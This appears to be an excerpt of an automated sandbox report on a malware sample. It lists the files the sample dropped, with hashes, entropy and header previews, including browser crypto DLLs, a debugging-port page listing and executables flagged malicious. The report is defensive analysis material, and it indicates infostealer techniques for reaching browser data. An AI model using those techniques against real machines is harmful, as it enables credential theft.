SHA-256:	E5219F8F6D61ED3841ED41C67E1D07B5038B04BDD976A00308DC8BDD50AD5105
SHA-512:	2075E83BAFADD4A4D59AF24A7469427BA8D2A02C5CD0EB7B413B197239190CAA28FBA6E7731044C159AFB7588E4469E5D9127CFFB836A9D94A5EF71FBD61D595
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".I.3.j.8.w.V.Q.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.C.m.r.R.2.t.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9078205592442052
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xLwxl9Il8u/m70sLTWynaTuGpfiAbNM1MEraCSKZLp24noRd/vc:ahcY540eWSHGpfBb61MEexinoA
MD5:	6810B0A53F0C1925884BF940BA42BF7A
SHA1:	49C048B8BD857B7759E74C949796B86E03D55E40
SHA-256:	253A687A1645C3673696DD041970D02423BD7DD6D82B4840E21C5945B83F2DA5
SHA-512:	E39F0468F9D16F75E71E7186FDE3604B999CF068FC884ACDAA7821DF87119668F052EE282D425AB9987DA14C58FC38860A8D0B24E2D1808434DB336F556F596D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".O.W.R.p.8.i.V.X.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.C.m.r.R.2.t.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.395259428503072
Encrypted:	false
SSDEEP:	96:6NnQXeHQXiNnQgbQONnQo9QUXNnQ1dgEQ9NnQcQgNnQIDQANnQAwQaNnQD83Qy:6NiTiNXNVNMANjNdbNnONn
MD5:	5DCD84DE85560015C0FB997661F5DFAE
SHA1:	73E8D8DD151090F3AF2FCA49D39A4BF2AB08477F
SHA-256:	8E83BDAB783BA837D181E0B8BCE06413B117DD4060392D33A61ED8A4E3D20A81
SHA-512:	52BD6C8E92B8F86B48A1E46C84F94540F8A1773BE1227CD44FE8B9749ADA1118B25B085959B7DFAF7DC7A7E91C77D1610A47BD2E08A8C1D28BCBC2981E70CC63
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/18C1DE3F5F12BEE9FC2DE0351FD7F896",.. "id": "18C1DE3F5F12BEE9FC2DE0351FD7F896",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/18C1DE3F5F12BEE9FC2DE0351FD7F896"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CC492154C17B3CE4DDAAB364AB41202E",.. "id": "CC492154C17B3CE4DDAAB364AB41202E",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CC492154C17B3CE4DDAAB364AB41202E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.380300401395969
Encrypted:	false
SSDEEP:	48:SfNaoQ9fTEQ9XfNaoQoQFfNaoQVQmfNaoQ+454L0UrU0U8Q+f:6NnQhTEQlNnQoQxNnQVQONnQZCL0UrU6
MD5:	D16E840E688BBFCF5B7E3B36304A15DD
SHA1:	F1F8CBDA10AD334A211147F1BC84D491AAA5D4FF
SHA-256:	4825E8BE87B0CAFCB380DB90A799E83A5BC10D24C7F98C67536D1EA3CD37BAF3
SHA-512:	2CB430A8E5BB36B217327009F047CC20B0F1CCC21171AF4FBE3BD43600C7DCB80668CC32CB1B89D2DD347830C1F54E8C2FE9D9D8562E092D49E284D40204CF6B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6D6F7F8E66E37552AAFD5011A45BAC48",.. "id": "6D6F7F8E66E37552AAFD5011A45BAC48",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6D6F7F8E66E37552AAFD5011A45BAC48"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0C78F2441510785E74FB8A7EE2A16300",.. "id": "0C78F2441510785E74FB8A7EE2A16300",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0C78F2441510785E74FB8A7EE2A16300"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1868800
Entropy (8bit):	7.949233432010431
Encrypted:	false
SSDEEP:	49152:xTL/WtIgJXZVDVdJEagT2SQ78lG+Y5pR3HDJdBhX5xu5rC3:xGtIgJnVdWJ2F84+YN3bBhX/u1w
MD5:	771A68F18853ECF47B4AB531D7AED0ED
SHA1:	C24C36D829D060A645CED96C957B3F98CB1B5A05
SHA-256:	C243C5A954243AF6FBD4A3CA75CBCF406991AE15E6FDFD5D52AB98C83632935B
SHA-512:	4ECAB6C9A00EA3A5FECBAC06C15CE12697399DA1AE233AF9FC275A0821CB3357A9456EB5B82AAB9A86D130E5A161711CF6951568948E36A02CD5164E3927DAFE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............I...........@...........................J......W....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... . *.........................@...isirfrxm....../.....................@...xrbpauyd......I......\..............@....taggant.0....I.."...b..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6c8c35c2-35ad-48f2-a361-ba8085c60818.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsKFBGDBFBKK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3254784
Entropy (8bit):	6.641437933472284
Encrypted:	false
SSDEEP:	98304:XpIkHB5gEXQO7noimWVXCLPIberdxm8UsM4:XF5gojWP7HZM4
MD5:	3C2DD6E6C50D2E0FFA7D6BFDE254ABE5
SHA1:	EB107CCDADC4599A8D934520BA4651AD8B42E2FD
SHA-256:	7CFE09665241B5CE3826965871E30BAF271E0388E930B005678CE6FA672523EF
SHA-512:	A88129805E62DD26F995BFE69E364C495B753274D5EEC3D60DE454260937840231481486DDD0888E39371F5090C92C2B53C0EE91FBCBC85FAD572048F5751972
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......R2...@.................................W...k.......H.....................1.............................0.1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...ygppzwcz..........................@...slwnaylp......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ac6138a4-e3d3-4af0-8ba1-fb09359325ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\b4bbe2df-d6a0-46f8-920b-7e4fba2f3e5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.409195745198072
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrO:8e2Fa116uCntc5toYU5v
MD5:	F0AA109B8A9F83282F8FCA0BFBBB448A
SHA1:	6CC0F279D8CB487C1DD0503AC8719B815303E99D
SHA-256:	A3349BE5864AEC8EC36B2CE11A4A700C6E19977FA14696788834E47A5187752A
SHA-512:	E4157728432716153E5F14A056D20A0F4DE9F925600A08BAC1AAF98786C71B7FF059242C8E8A420CF42522966C3F2D6E47E7518146B050DCE57F456E55C63405
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\efb4cc1f-64a2-4122-b416-b0b1670683e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
